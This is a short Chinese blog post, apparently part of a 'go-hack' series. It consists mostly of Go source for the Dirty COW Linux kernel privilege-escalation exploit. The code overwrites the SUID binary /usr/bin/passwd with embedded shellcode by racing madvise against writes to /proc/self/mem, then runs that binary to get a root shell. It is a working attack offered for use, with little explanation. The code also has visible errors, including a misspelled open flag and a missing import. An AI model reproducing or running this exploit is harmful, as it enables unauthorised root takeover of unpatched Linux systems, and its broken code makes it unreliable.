关于go:go-hack十四-dirty-cow-提权

go 网络安全代码地址

package main

import (
    "bytes"
    "fmt"
    "log"
    "os"
    "syscall"
    "time"
)

// 脏牛提权

var (signales = make(chan bool) // 协程管制
    mmap     uintptr           //https://blog.csdn.net/hello_ufo/article/details/86713947   uintptr
)

const SuidBinary = "/usr/bin/passwd"

// shellcode
var sc = []byte{
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
    0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
    0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
    0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05,
}

func madvise() {
    for i := 0; i < 1000000; i++ {
        select {
        case <-signales:
            fmt.Println("mad done") // 接管到信号进行
            return
        default:
            syscall.Syscall(syscall.SYS_MADVISE, mmap, uintptr(100), syscall.MADV_DONTNEED) // syscall  https://www.bilibili.com/read/cv17087054
        }
    }
}

func procselfmem(payload []byte) {f, err := os.OpenFile("/proc/self/mem", syscall.O_ROWR, 0)
    if err != nil {log.Fatalln(err)
    }

    for i := 0; i < 1000000; i++ {
        select {
        case <-signales:
            fmt.Println("procelfmem done")
            return
        default:
            // f.Fd() 返回句柄
            syscall.Syscall(syscall.SYS_LSEEK, f.Fd(), mmap, uintptr(os.SEEK_SET))
            f.Write(payload) // 将 payload 写入

        }
    }

}

func waitForWrite() {buf := make([]byte, len(sc))

    for {f, err := os.Open(SuidBinary)
        if err != nil {log.Fatal(err)
        }
        if _, err := f.Read(buf); err != nil {log.Fatal(err)
        }

        f.Close()

        // 文件产生了扭转
        if bytes.Compare(buf, sc) == 0 {fmt.Println("文件扭转")
            break
        }
        time.Sleep(time.Second)
    }

    // 完结连个协程
    signales <- true

    // https://www.jianshu.com/p/67dfc9ae74ed 运行程序

    // 设置过程的属性
    attr := os.ProcAttr{Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
    }

    // 执行替换的二进制文件，并传入设置的属性
    proc, err := os.StartProcess(SuidBinary, nil, &attr)
    if err != nil {log.Fatal(err)
    }
    proc.Wait()
    // 期待过程 p 的退出，返回过程状态
    // ps, _ := p.Wait();
    // fmt.Println(ps.String());
    os.Exit(0)

}

func main() {fmt.Println("dirtycow root 提权")

    fmt.Printf("备份 %s 到 /tmp/bak\n", SuidBinary)
    backcp := exec.command("cp", SuidBinary, "/tmp/bak")

    if err := backcp.Run(); err != nil {panic(err)
    }

    f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600)
    if err != nil {panic(err)
    }

    st, _ := f.Stat() // 获取文件的 stat 信息

    // 创立同样大小的 payload
    payload := make([]byte, st.Size())

    for i := range payload {payload[i] = 0x90
    }

    for i, v := range sc {payload[i] = v
    }

    mmap, _, _ = syscall.Syscall(syscall.SYS_MMAP, uintptr(0), uintptr(st.Size()), uintptr(syscall.PROT_READ), uintptr(syscall.MAP_PRIVATE), f.Fd(), 0)

    fmt.Println()
    go madvise()
    go procselfmem(payload)
    waitForWrite()}